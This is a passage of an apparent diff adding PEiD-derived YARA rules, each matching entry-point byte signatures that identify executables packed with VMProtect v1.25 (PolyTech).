+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02755_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02756_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 53 9C 52 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02757_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 55 51 9C 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02758_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 56 9C 55 52 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02759_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 57 9C 56 51 52 55 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02760_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 50 56 57 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02761_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 54 51 57 52 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02762_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 9C 55 56 54 57 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02763_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 52 52 57 55 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02764_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 50 9C 55 52 50 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02765_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 55 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02766_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 52 55 56 56 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02767_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 55 56 52 9C 57 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02768_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 56 50 57 55 52 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02769_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 51 9C 52 57 55 50 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02770_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 50 56 51 57 56 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02771_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 55 9C 57 56 51 50 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5A 5E 58 59 5E 5F 9D 5D 5A 5B C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02772_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 56 9C 57 50 51 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02773_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 50 55 51 9C 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02774_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 51 9C 56 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02775_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 57 55 56 51 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02776_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 55 57 50 51 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02777_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02778_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02779_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02780_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 52 57 57 50 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02781_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 55 57 51 56 50 9C 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02782_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 50 57 57 51 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02783_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 9C 56 57 51 50 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02784_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02785_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 55 50 57 9C 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02786_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02787_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02788_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 9C 52 52 51 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02789_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 51 52 50 51 9C 56 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 36 88 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02790_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 50 51 57 56 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02791_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 52 55 56 55 50 51 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02792_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02793_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 56 51 50 9C 52 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02794_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 9C 56 50 51 55 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02795_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 51 56 52 56 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02796_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 52 50 51 57 56 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02797_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 53 56 51 57 55 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02798_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 56 51 52 50 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02799_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02800_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02801_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02802_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 52 51 9C 57 53 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02803_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 57 52 51 9C 53 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02804_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 9C 56 52 51 53 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02805_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02806_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 53 53 52 57 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02807_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02808_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02809_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 51 56 52 9C 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02810_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 53 57 52 57 56 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02811_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
